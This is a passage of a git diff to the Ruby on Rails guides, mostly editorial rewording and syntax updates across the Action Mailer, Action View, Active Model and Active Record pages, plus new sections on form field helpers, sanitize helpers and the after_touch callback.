setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>| |`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>| |`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.| |`delivery_method`|Defines a delivery method. Possible values are `:smtp` (default), `:sendmail`, `:file` and `:test`.| @@ -529,9 +616,14 @@ The following configuration options are best made in one of the environment file |`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| |`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).| +For a complete writeup of possible configurations see the +[Action Mailer section](configuring.html#configuring-action-mailer) in +our Configuring Rails Applications guide. + ### Example Action Mailer Configuration -An example would be adding the following to your appropriate `config/environments/$RAILS_ENV.rb` file: +An example would be adding the following to your appropriate +`config/environments/$RAILS_ENV.rb` file: ```ruby config.action_mailer.delivery_method = :sendmail @@ -542,19 +634,20 @@ config.action_mailer.delivery_method = :sendmail # } config.action_mailer.perform_deliveries = true config.action_mailer.raise_delivery_errors = true -config.action_mailer.default_options = {from: 'no-replay@example.org'} +config.action_mailer.default_options = {from: 'no-reply@example.com'} ``` -### Action Mailer Configuration for GMail +### Action Mailer Configuration for Gmail -As Action Mailer now uses the Mail gem, this becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file: +As Action Mailer now uses the Mail gem, this becomes as simple as adding to your +`config/environments/$RAILS_ENV.rb` file: ```ruby config.action_mailer.delivery_method = :smtp config.action_mailer.smtp_settings = { address: 'smtp.gmail.com', port: 587, - domain: 'baci.lindsaar.net', + domain: 'example.com', user_name: '<username>', password: '<password>', authentication: 'plain', @@ -564,12 +657,15 @@ config.action_mailer.smtp_settings = { Mailer Testing -------------- -You can find detailed instructions on how to test your mailers in our +You can find detailed instructions on how to test your mailers in the [testing guide](testing.html#testing-your-mailers). Intercepting Emails ------------------- -There are situations where you need to edit an email before it's delivered. Fortunately Action Mailer provides hooks to intercept every email. You can register an interceptor to make modifications to mail messages right before they are handed to the delivery agents. +There are situations where you need to edit an email before it's +delivered. Fortunately Action Mailer provides hooks to intercept every +email. You can register an interceptor to make modifications to mail messages +right before they are handed to the delivery agents. ```ruby class SandboxEmailInterceptor @@ -579,10 +675,15 @@ class SandboxEmailInterceptor end ``` -Before the interceptor can do its job you need to register it with the Action Mailer framework. You can do this in an initializer file `config/initializers/sandbox_email_interceptor.rb` +Before the interceptor can do its job you need to register it with the Action +Mailer framework. You can do this in an initializer file +`config/initializers/sandbox_email_interceptor.rb` ```ruby ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) if Rails.env.staging? ``` -NOTE: The example above uses a custom environment called "staging" for a production like server but for testing purposes. You can read [Creating Rails environments](./configuring.html#creating-rails-environments) for more information about custom Rails environments. +NOTE: The example above uses a custom environment called "staging" for a +production like server but for testing purposes. You can read +[Creating Rails environments](./configuring.html#creating-rails-environments) +for more information about custom Rails environments. diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md index 3b5963efc2..6a355a5177 100644 --- a/guides/source/action_view_overview.md +++ b/guides/source/action_view_overview.md @@ -68,7 +68,7 @@ Consider the following loop for names: ```html+erb <h1>Names of all the people</h1> <% @people.each do |person| %> - Name: <%= person.name %><br/> + Name: <%= person.name %><br> <% end %> ``` @@ -152,7 +152,7 @@ By default, Rails will compile each template to a method in order to render it. ### Partials -Partial templates – usually just called "partials" – are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates. +Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates. #### Naming Partials @@ -172,7 +172,7 @@ That code will pull in the partial from `app/views/shared/_menu.html.erb`. #### Using Partials to simplify Views -One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this: +One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this: ```html+erb <%= render "shared/ad_banner" %> @@ -262,19 +262,14 @@ Rails determines the name of the partial to use by looking at the model name in You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option: ```erb -<%= render @products, spacer_template: "product_ruler" %> +<%= render partial: @products, spacer_template: "product_ruler" %> ``` Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials. ### Layouts -TODO... - -Using Templates, Partials and Layouts "The Rails Way" --------------------------------------------------------- - -TODO... +Layouts can be used to render a common view template around the results of Rails controller actions. Typically, every Rails application has a couple of overall layouts that most pages are rendered within. For example, a site might have a layout for a logged in user, and a layout for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us." You would expect each layout to have a different look and feel. You can read more details about Layouts in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide. Partial Layouts --------------- @@ -469,7 +464,7 @@ stylesheet_link_tag :monkey # => #### auto_discovery_link_tag -Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed. +Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed. ```ruby auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # => @@ -780,8 +775,8 @@ select_day(5) Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. ```ruby -# Generates a select field for minutes that defaults to the minutes for the time provided -select_minute(Time.now + 6.hours) +# Generates a select field for hours that defaults to the hours for the time provided +select_hour(Time.now + 6.hours) ``` #### select_minute @@ -946,9 +941,9 @@ Creates a form and a scope around a specific model object that is used as a base ```html+erb <%= form_for @post do |f| %> <%= f.label :title, 'Title' %>: - <%= f.text_field :title %><br /> + <%= f.text_field :title %><br> <%= f.label :body, 'Body' %>: - <%= f.text_area :body %><br /> + <%= f.text_area :body %><br> <% end %> ``` @@ -1011,6 +1006,24 @@ text_field(:post, :title) # => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" /> ``` +#### email_field + +Returns an input tag of the "email" type tailored for accessing a specified attribute. + +```ruby +email_field(:user, :email) +# => <input type="email" id="user_email" name="user[email]" value="#{@user.email}" /> +``` + +#### url_field + +Returns an input tag of the "url" type tailored for accessing a specified attribute. + +```ruby +url_field(:user, :url) +# => <input type="url" id="user_url" name="user[url]" value="#{@user.url}" /> +``` + ### FormOptionsHelper Provides a number of methods for turning different kinds of containers into a set of option tags. @@ -1095,7 +1108,7 @@ Example object structure for use with this method: ```ruby class Post < ActiveRecord::Base - has_and_belongs_to_many :author + has_and_belongs_to_many :authors end class Author < ActiveRecord::Base @@ -1130,7 +1143,7 @@ Returns a string of option tags for pretty much any country in the world. #### country_select -Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. +Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags. #### option_groups_from_collection_for_select @@ -1229,15 +1242,23 @@ Returns a string of option tags for pretty much any time zone in the world. #### time_zone_select -Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. +Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. ```ruby time_zone_select( "user", "time_zone") ``` +#### date_field + +Returns an input tag of the "date" type tailored for accessing a specified attribute. + +```ruby +date_field("user", "dob") +``` + ### FormTagHelper -Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. +Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually. #### check_box_tag @@ -1264,7 +1285,7 @@ Creates a field set for grouping HTML form elements. Creates a file upload field. ```html+erb -<%= form_tag {action: "post"}, {multipart: true} do %> +<%= form_tag({action:"post"}, multipart: true) do %> <label for="file">File to Upload</label> <%= file_field_tag "file" %> <%= submit_tag %> <% end %> @@ -1369,6 +1390,33 @@ text_field_tag 'name' # => <input id="name" name="name" type="text" /> ``` +#### email_field_tag + +Creates a standard input field of email type. + +```ruby +email_field_tag 'email' +# => <input id="email" name="email" type="email" /> +``` + +#### url_field_tag + +Creates a standard input field of url type. + +```ruby +url_field_tag 'url' +# => <input id="url" name="url" type="url" /> +``` + +#### date_field_tag + +Creates a standard input field of date type. + +```ruby +date_field_tag "dob" +# => <input id="dob" name="dob" type="date" /> +``` + ### JavaScriptHelper Provides functionality for working with JavaScript in your views. @@ -1444,7 +1492,7 @@ number_to_human_size(1234567) # => 1.2 MB Formats a number as a percentage string. ```ruby -number_to_percentage(100, :precision => 0) # => 100% +number_to_percentage(100, precision: 0) # => 100% ``` #### number_to_phone @@ -1472,94 +1520,91 @@ number_with_precision(111.2345) # => 111.235 number_with_precision(111.2345, 2) # => 111.23 ``` -Localized Views ---------------- +### SanitizeHelper -Action View has the ability render different templates depending on the current locale. +The SanitizeHelper module provides a set of methods for scrubbing text of undesired HTML elements. -For example, suppose you have a Posts controller with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. +#### sanitize -You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages. +This sanitize helper will html encode all tags and strip all attributes that aren't specifically allowed. -Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`: +```ruby +sanitize @article.body +``` + +If either the :attributes or :tags options are passed, only the mentioned tags and attributes are allowed and nothing else. ```ruby -before_action :set_expert_locale +sanitize @article.body, tags: %w(table tr td), attributes: %w(id class style) +``` -def set_expert_locale - I18n.locale = :expert if current_user.expert? +To change defaults for multiple uses, for example adding table tags to the default: + +```ruby +class Application < Rails::Application + config.action_view.sanitized_allowed_tags = 'table', 'tr', 'td' end ``` -Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users. +#### sanitize_css(style) -You can read more about the Rails Internationalization (I18n) API [here](i18n.html). +Sanitizes a block of CSS code. -Using Action View outside of Rails ----------------------------------- +#### strip_links(html) +Strips all link tags from text leaving just the link text. -Action View is a Rails component, but it can also be used without Rails. We can demonstrate this by creating a small [Rack](http://rack.rubyforge.org/) application that includes Action View functionality. This may be useful, for example, if you'd like access to Action View's helpers in a Rack application. +```ruby +strip_links("<a href="http://rubyonrails.org">Ruby on Rails</a>") +# => Ruby on Rails +``` -Let's start by ensuring that you have the Action Pack and Rack gems installed: +```ruby +strip_links("emails to <a href="mailto:me@email.com">me@email.com</a>.") +# => emails to me@email.com. +``` -```bash -$ gem install actionpack -$ gem install rack +```ruby +strip_links('Blog: <a href="http://myblog.com/">Visit</a>.') +# => Blog: Visit. ``` -Now we'll create a simple "Hello World" application that uses the `titleize` method provided by Active Support. +#### strip_tags(html) -**hello_world.rb:** +Strips all HTML tags from the html, including comments. +This uses the html-scanner tokenizer and so its HTML parsing ability is limited by that of html-scanner. ```ruby -require 'active_support/core_ext/string/inflections' -require 'rack' - -def hello_world(env) - [200, {"Content-Type" => "text/html"}, "hello world".titleize] -end - -Rack::Handler::Mongrel.run method(:hello_world), Port: 4567 +strip_tags("Strip <i>these</i> tags!") +# => Strip these tags! ``` -We can see this all come together by starting up the application and then visiting `http://localhost:4567/` - -```bash -$ ruby hello_world.rb +```ruby +strip_tags("<b>Bold</b> no more! <a href='more.html'>See more</a>") +# => Bold no more! See more ``` -TODO needs a screenshot? I have one - not sure where to put it. +NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers. -Notice how 'hello world' has been converted into 'Hello World' by the `titleize` helper method. -Action View can also be used with [Sinatra](http://www.sinatrarb.com/) in the same way. +Localized Views +--------------- -Let's start by ensuring that you have the Action Pack and Sinatra gems installed: +Action View has the ability render different templates depending on the current locale. -```bash -$ gem install actionpack -$ gem install sinatra -``` +For example, suppose you have a `PostsController` with a show action. By default, calling this action will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :de`, then `app/views/posts/show.de.html.erb` will be rendered instead. If the localized template isn't present, the undecorated version will be used. This means you're not required to provide localized views for all cases, but they will be preferred and used if available. -Now we'll create the same "Hello World" application in Sinatra. +You can use the same technique to localize the rescue files in your public directory. For example, setting `I18n.locale = :de` and creating `public/500.de.html` and `public/404.de.html` would allow you to have localized rescue pages. -**hello_world.rb:** +Since Rails doesn't restrict the symbols that you use to set I18n.locale, you can leverage this system to display different content depending on anything you like. For example, suppose you have some "expert" users that should see different pages from "normal" users. You could add the following to `app/controllers/application.rb`: ```ruby -require 'action_view' -require 'sinatra' +before_action :set_expert_locale -get '/' do - erb 'hello world'.titleize +def set_expert_locale + I18n.locale = :expert if current_user.expert? end ``` -Then, we can run the application: - -```bash -$ ruby hello_world.rb -``` - -Once the application is running, you can see Sinatra and Action View working together by visiting `http://localhost:4567/` +Then you could create special views like `app/views/posts/show.expert.html.erb` that would only be displayed to expert users. -TODO needs a screenshot? I have one - not sure where to put it. +You can read more about the Rails Internationalization (I18n) API [here](i18n.html). diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md index 68ac26c681..0019d08328 100644 --- a/guides/source/active_model_basics.md +++ b/guides/source/active_model_basics.md @@ -14,7 +14,7 @@ Active Model is a library containing various modules used in developing framewor ### AttributeMethods -The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them. +The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes and which methods on the object will use them. ```ruby class Person @@ -45,7 +45,7 @@ person.age_highest? # false ### Callbacks -Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods. +Callbacks gives Active Record style callbacks. This provides an ability to define callbacks which run at appropriate times. After defining callbacks, you can wrap them with before, after and around custom methods. ```ruby class Person @@ -57,19 +57,19 @@ class Person def update run_callbacks(:update) do - # This will call when we are trying to call update on object. + # This method is called when update is called on an object. end end def reset_me - # This method will call when you are calling update on object as a before_update callback as defined. + # This method is called when update is called on an object as a before_update callback is defined. end end ``` ### Conversion -If a class defines `persisted?` and `id` methods then you can include `Conversion` module in that class and you can able to call Rails conversion methods to objects of that class. +If a class defines `persisted?` and `id` methods, then you can include the `Conversion` module in that class and call the Rails conversion methods on objects of that class. ```ruby class Person @@ -120,8 +120,8 @@ class Person end def save - @previously_changed = changes # do save work... + changes_applied end end ``` diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md index 69d7333e6f..a184f0753d 100644 --- a/guides/source/active_record_basics.md +++ b/guides/source/active_record_basics.md @@ -1,14 +1,14 @@ Active Record Basics ==================== - + This guide is an introduction to Active Record. After reading this guide, you will know: -* What Object Relational Mapping and Active Record are and how they are used in +* What Object Relational Mapping and Active Record are and how they are used in Rails. * How Active Record fits into the Model-View-Controller paradigm. -* How to use Active Record models to manipulate data stored in a relational +* How to use Active Record models to manipulate data stored in a relational database. * Active Record schema naming conventions. * The concepts of database migrations, validations and callbacks. @@ -18,107 +18,110 @@ After reading this guide, you will know: What is Active Record? ---------------------- -Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the -model - which is the layer of the system responsible for representing business -data and logic. Active Record facilitates the creation and use of business -objects whose data requires persistent storage to a database. It is an -implementation of the Active Record pattern which itself is a description of an +Active Record is the M in [MVC](getting_started.html#the-mvc-architecture) - the +model - which is the layer of the system responsible for representing business +data and logic. Active Record facilitates the creation and use of business +objects whose data requires persistent storage to a database. It is an +implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system. ### The Active Record Pattern -Active Record was described by Martin Fowler in his book _Patterns of Enterprise -Application Architecture_. In Active Record, objects carry both persistent data -and behavior which operates on that data. Active Record takes the opinion that -ensuring data access logic is part of the object will educate users of that +[Active Record was described by Martin Fowler](http://www.martinfowler.com/eaaCatalog/activeRecord.html) +in his book _Patterns of Enterprise Application Architecture_. In +Active Record, objects carry both persistent data and behavior which +operates on that data. Active Record takes the opinion that ensuring +data access logic is part of the object will educate users of that object on how to write to and read from the database. ### Object Relational Mapping -Object-Relational Mapping, commonly referred to as its abbreviation ORM, is -a technique that connects the rich objects of an application to tables in -a relational database management system. Using ORM, the properties and -relationships of the objects in an application can be easily stored and -retrieved from a database without writing SQL statements directly and with less +Object-Relational Mapping, commonly referred to as its abbreviation ORM, is +a technique that connects the rich objects of an application to tables in +a relational database management system. Using ORM, the properties and +relationships of the objects in an application can be easily stored and +retrieved from a database without writing SQL statements directly and with less overall database access code. ### Active Record as an ORM Framework -Active Record gives us several mechanisms, the most important being the ability +Active Record gives us several mechanisms, the most important being the ability to: -* Represent models and their data -* Represent associations between these models -* Represent inheritance hierarchies through related models -* Validate models before they get persisted to the database +* Represent models and their data. +* Represent associations between these models. +* Represent inheritance hierarchies through related models. +* Validate models before they get persisted to the database. * Perform database operations in an object-oriented fashion. Convention over Configuration in Active Record ---------------------------------------------- -When writing applications using other programming languages or frameworks, it -may be necessary to write a lot of configuration code. This is particularly true -for ORM frameworks in general. However, if you follow the conventions adopted by -Rails, you'll need to write very little configuration (in some case no -configuration at all) when creating Active Record models. The idea is that if -you configure your applications in the very same way most of the times then this -should be the default way. In this cases, explicit configuration would be needed -only in those cases where you can't follow the conventions for any reason. +When writing applications using other programming languages or frameworks, it +may be necessary to write a lot of configuration code. This is particularly true +for ORM frameworks in general. However, if you follow the conventions adopted by +Rails, you'll need to write very little configuration (in some case no +configuration at all) when creating Active Record models. The idea is that if +you configure your applications in the very same way most of the time then this +should be the default way. Thus, explicit configuration would be needed +only in those cases where you can't follow the standard convention. ### Naming Conventions -By default, Active Record uses some naming conventions to find out how the -mapping between models and database tables should be created. Rails will -pluralize your class names to find the respective database table. So, for -a class `Book`, you should have a database table called **books**. The Rails -pluralization mechanisms are very powerful, being capable to pluralize (and -singularize) both regular and irregular words. When using class names composed -of two or more words, the model class name should follow the Ruby conventions, -using the CamelCase form, while the table name must contain the words separated +By default, Active Record uses some naming conventions to find out how the +mapping between models and database tables should be created. Rails will +pluralize your class names to find the respective database table. So, for +a class `Book`, you should have a database table called **books**. The Rails +pluralization mechanisms are very powerful, being capable to pluralize (and +singularize) both regular and irregular words. When using class names composed +of two or more words, the model class name should follow the Ruby conventions, +using the CamelCase form, while the table name must contain the words separated by underscores. Examples: -* Database Table - Plural with underscores separating words (e.g., `book_clubs`) -* Model Class - Singular with the first letter of each word capitalized (e.g., -`BookClub`) +* Database Table - Plural with underscores separating words (e.g., `book_clubs`). +* Model Class - Singular with the first letter of each word capitalized (e.g., +`BookClub`). | Model / Class | Table / Schema | | ------------- | -------------- | | `Post` | `posts` | | `LineItem` | `line_items` | -| `Deer` | `deer` | +| `Deer` | `deers` | | `Mouse` | `mice` | | `Person` | `people` | ### Schema Conventions -Active Record uses naming conventions for the columns in database tables, +Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns. -* **Foreign keys** - These fields should be named following the pattern - `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the - fields that Active Record will look for when you create associations between +* **Foreign keys** - These fields should be named following the pattern + `singularized_table_name_id` (e.g., `item_id`, `order_id`). These are the + fields that Active Record will look for when you create associations between your models. -* **Primary keys** - By default, Active Record will use an integer column named - `id` as the table's primary key. When using [Rails - Migrations](migrations.html) to create your tables, this column will be +* **Primary keys** - By default, Active Record will use an integer column named + `id` as the table's primary key. When using [Active Record + Migrations](migrations.html) to create your tables, this column will be automatically created. -There are also some optional column names that will create additional features +There are also some optional column names that will add additional features to Active Record instances: -* `created_at` - Automatically gets set to the current date and time when the +* `created_at` - Automatically gets set to the current date and time when the record is first created. -* `updated_at` - Automatically gets set to the current date and time whenever +* `updated_at` - Automatically gets set to the current date and time whenever the record is updated. -* `lock_version` - Adds [optimistic - locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to +* `lock_version` - Adds [optimistic + locking](http://api.rubyonrails.org/classes/ActiveRecord/Locking.html) to a model. -* `type` - Specifies that the model uses [Single Table - Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html) -* `(table_name)_count` - Used to cache the number of belonging objects on - associations. For example, a `comments_count` column in a `Post` class that - has many instances of `Comment` will cache the number of existent comments +* `type` - Specifies that the model uses [Single Table + Inheritance](http://api.rubyonrails.org/classes/ActiveRecord/Base.html#label-Single+table+inheritance). +* `(association_name)_type` - Stores the type for + [polymorphic associations](association_basics.html#polymorphic-associations). +* `(table_name)_count` - Used to cache the number of belonging objects on + associations. For example, a `comments_count` column in a `Post` class that + has many instances of `Comment` will cache the number of existent comments for each post. NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, `type` is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. @@ -126,7 +129,7 @@ NOTE: While these column names are optional, they are in fact reserved by Active Creating Active Record Models ----------------------------- -It is very easy to create Active Record models. All you have to do is to +It is very easy to create Active Record models. All you have to do is to subclass the `ActiveRecord::Base` class and you're good to go: ```ruby @@ -134,9 +137,9 @@ class Product < ActiveRecord::Base end ``` -This will create a `Product` model, mapped to a `products` table at the -database. By doing this you'll also have the ability to map the columns of each -row in that table with the attributes of the instances of your model. Suppose +This will create a `Product` model, mapped to a `products` table at the +database. By doing this you'll also have the ability to map the columns of each +row in that table with the attributes of the instances of your model. Suppose that the `products` table was created using an SQL sentence like: ```sql @@ -147,7 +150,7 @@ CREATE TABLE products ( ); ``` -Following the table schema above, you would be able to write code like the +Following the table schema above, you would be able to write code like the following: ```ruby @@ -159,11 +162,11 @@ puts p.name # "Some Book" Overriding the Naming Conventions --------------------------------- -What if you need to follow a different naming convention or need to use your -Rails application with a legacy database? No problem, you can easily override +What if you need to follow a different naming convention or need to use your +Rails application with a legacy database? No problem, you can easily override the default conventions. -You can use the `ActiveRecord::Base.table_name=` method to specify the table +You can use the `ActiveRecord::Base.table_name=` method to specify the table name that should be used: ```ruby @@ -172,41 +175,41 @@ class Product < ActiveRecord::Base end ``` -If you do so, you will have to define manually the class name that is hosting -the fixtures (class_name.yml) using the `set_fixture_class` method in your test +If you do so, you will have to define manually the class name that is hosting +the fixtures (class_name.yml) using the `set_fixture_class` method in your test definition: ```ruby class FunnyJoke < ActiveSupport::TestCase - set_fixture_class funny_jokes: 'Joke' + set_fixture_class funny_jokes: Joke fixtures :funny_jokes ... end ``` -It's also possible to override the column that should be used as the table's -primary key using the `ActiveRecord::Base.set_primary_key` method: +It's also possible to override the column that should be used as the table's +primary key using the `ActiveRecord::Base.primary_key=` method: ```ruby class Product < ActiveRecord::Base - set_primary_key "product_id" + self.primary_key = "product_id" end ``` CRUD: Reading and Writing Data ------------------------------ -CRUD is an acronym for the four verbs we use to operate on data: **C**reate, -**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods +CRUD is an acronym for the four verbs we use to operate on data: **C**reate, +**R**ead, **U**pdate and **D**elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables. ### Create -Active Record objects can be created from a hash, a block or have their -attributes manually set after creation. The `new` method will return a new +Active Record objects can be created from a hash, a block or have their +attributes manually set after creation. The `new` method will return a new object while `create` will return the object and save it to the database. -For example, given a model `User` with attributes of `name` and `occupation`, +For example, given a model `User` with attributes of `name` and `occupation`, the `create` method call will create and save a new record into the database: ```ruby @@ -223,7 +226,7 @@ user.occupation = "Code Artist" A call to `user.save` will commit the record to the database. -Finally, if a block is provided, both `create` and `new` will yield the new +Finally, if a block is provided, both `create` and `new` will yield the new object to that block for initialization: ```ruby @@ -235,7 +238,7 @@ end ### Read -Active Record provides a rich API for accessing data within a database. Below +Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record. ```ruby @@ -250,7 +253,7 @@ user = User.first ```ruby # return the first user named David -david = User.find_by_name('David') +david = User.find_by(name: 'David') ``` ```ruby @@ -258,30 +261,30 @@ david = User.find_by_name('David') users = User.where(name: 'David', occupation: 'Code Artist').order('created_at DESC') ``` -You can learn more about querying an Active Record model in the [Active Record +You can learn more about querying an Active Record model in the [Active Record Query Interface](active_record_querying.html) guide. ### Update -Once an Active Record object has been retrieved, its attributes can be modified +Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database. ```ruby -user = User.find_by_name('David') +user = User.find_by(name: 'David') user.name = 'Dave' user.save ``` -A shorthand for this is to use a hash mapping attribute names to the desired +A shorthand for this is to use a hash mapping attribute names to the desired value, like so: ```ruby -user = User.find_by_name('David') +user = User.find_by(name: 'David') user.update(name: 'Dave') ``` -This is most useful when updating several attributes at once. If, on the other -hand, you'd like to update several records in bulk, you may find the +This is most useful when updating several attributes at once. If, on the other +hand, you'd like to update several records in bulk, you may find the `update_all` class method useful: ```ruby @@ -290,57 +293,57 @@ User.update_all "max_login_attempts = 3, must_change_password = 'true'" ### Delete -Likewise, once retrieved an Active Record object can be destroyed which removes +Likewise, once retrieved an Active Record object can be destroyed which removes it from the database. ```ruby -user = User.find_by_name('David') +user = User.find_by(name: 'David') user.destroy ``` Validations ----------- -Active Record allows you to validate the state of a model before it gets written -into the database. There are several methods that you can use to check your -models and validate that an attribute value is not empty, is unique and not +Active Record allows you to validate the state of a model before it gets written +into the database. There are several methods that you can use to check your +models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. -Validation is a very important issue to consider when persisting to database, so -the methods `create`, `save` and `update` take it into account when -running: they return `false` when validation fails and they didn't actually -perform any operation on database. All of these have a bang counterpart (that -is, `create!`, `save!` and `update!`), which are stricter in that -they raise the exception `ActiveRecord::RecordInvalid` if validation fails. +Validation is a very important issue to consider when persisting to database, so +the methods `create`, `save` and `update` take it into account when +running: they return `false` when validation fails and they didn't actually +perform any operation on database. All of these have a bang counterpart (that +is, `create!`, `save!` and `update!`), which are stricter in that +they raise the exception `ActiveRecord::RecordInvalid` if validation fails. A quick example to illustrate: ```ruby class User < ActiveRecord::Base - validates_presence_of :name + validates :name, presence: true end User.create # => false User.create! # => ActiveRecord::RecordInvalid: Validation failed: Name can't be blank ``` -You can learn more about validations in the [Active Record Validations +You can learn more about validations in the [Active Record Validations guide](active_record_validations.html). Callbacks --------- -Active Record callbacks allow you to attach code to certain events in the -life-cycle of your models. This enables you to add behavior to your models by -transparently executing code when those events occur, like when you create a new -record, update it, destroy it and so on. You can learn more about callbacks in +Active Record callbacks allow you to attach code to certain events in the +life-cycle of your models. This enables you to add behavior to your models by +transparently executing code when those events occur, like when you create a new +record, update it, destroy it and so on. You can learn more about callbacks in the [Active Record Callbacks guide](active_record_callbacks.html). Migrations ---------- -Rails provides a domain-specific language for managing a database schema called -migrations. Migrations are stored in files which are executed against any -database that Active Record support using `rake`. Here's a migration that +Rails provides a domain-specific language for managing a database schema called +migrations. Migrations are stored in files which are executed against any +database that Active Record supports using `rake`. Here's a migration that creates a table: ```ruby @@ -361,10 +364,10 @@ class CreatePublications < ActiveRecord::Migration end ``` -Rails keeps track of which files have been committed to the database and +Rails keeps track of which files have been committed to the database and provides rollback features. To actually create the table, you'd run `rake db:migrate` and to roll it back, `rake db:rollback`. -Note that the above code is database-agnostic: it will run in MySQL, postgresql, -Oracle and others. You can learn more about migrations in the [Active Record -Migrations guide](migrations.html) +Note that the above code is database-agnostic: it will run in MySQL, +PostgreSQL, Oracle and others. You can learn more about migrations in the +[Active Record Migrations guide](migrations.html). diff --git a/guides/source/active_record_callbacks.md b/guides/source/active_record_callbacks.md index bb42fab101..667433285f 100644 --- a/guides/source/active_record_callbacks.md +++ b/guides/source/active_record_callbacks.md @@ -35,11 +35,11 @@ class User < ActiveRecord::Base before_validation :ensure_login_has_a_value protected - def ensure_login_has_a_value - if login.nil? - self.login = email unless email.blank? + def ensure_login_has_a_value + if login.nil? + self.login = email unless email.blank? + end end - end end ``` @@ -49,13 +49,13 @@ The macro-style class methods can also receive a block. Consider using this styl class User < ActiveRecord::Base validates :login, :email, presence: true - before_create do |user| - user.name = user.login.capitalize if user.name.blank? + before_create do + self.name = login.capitalize if name.blank? end end ``` -Callbacks can also be registered to only fire on certain lifecycle events: +Callbacks can also be registered to only fire on certain life cycle events: ```ruby class User < ActiveRecord::Base @@ -65,13 +65,13 @@ class User < ActiveRecord::Base after_validation :set_location, on: [ :create, :update ] protected - def normalize_name - self.name = self.name.downcase.titleize - end + def normalize_name + self.name = self.name.downcase.titleize + end - def set_location - self.location = LocationService.query(self) - end + def set_location + self.location = LocationService.query(self) + end end ``` @@ -141,6 +141,55 @@ You have initialized an object! => #<User id: 1> ``` +### `after_touch` + +The `after_touch` callback will be called whenever an Active Record object is touched. + +```ruby +class User < ActiveRecord::Base + after_touch do |user| + puts "You have touched an object" + end +end + +>> u = User.create(name: 'Kuldeep') +=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49"> + +>> u.touch +You have touched an object +=> true +``` + +It can be used along with `belongs_to`: + +```ruby +class Employee < ActiveRecord::Base + belongs_to :company, touch: true + after_touch do + puts 'An Employee was touched' + end +end + +class Company < ActiveRecord::Base + has_many :employees + after_touch :log_when_employees_or_company_touched + + private + def log_when_employees_or_company_touched + puts 'Employee/Company was touched' + end +end + +>> @employee = Employee.last 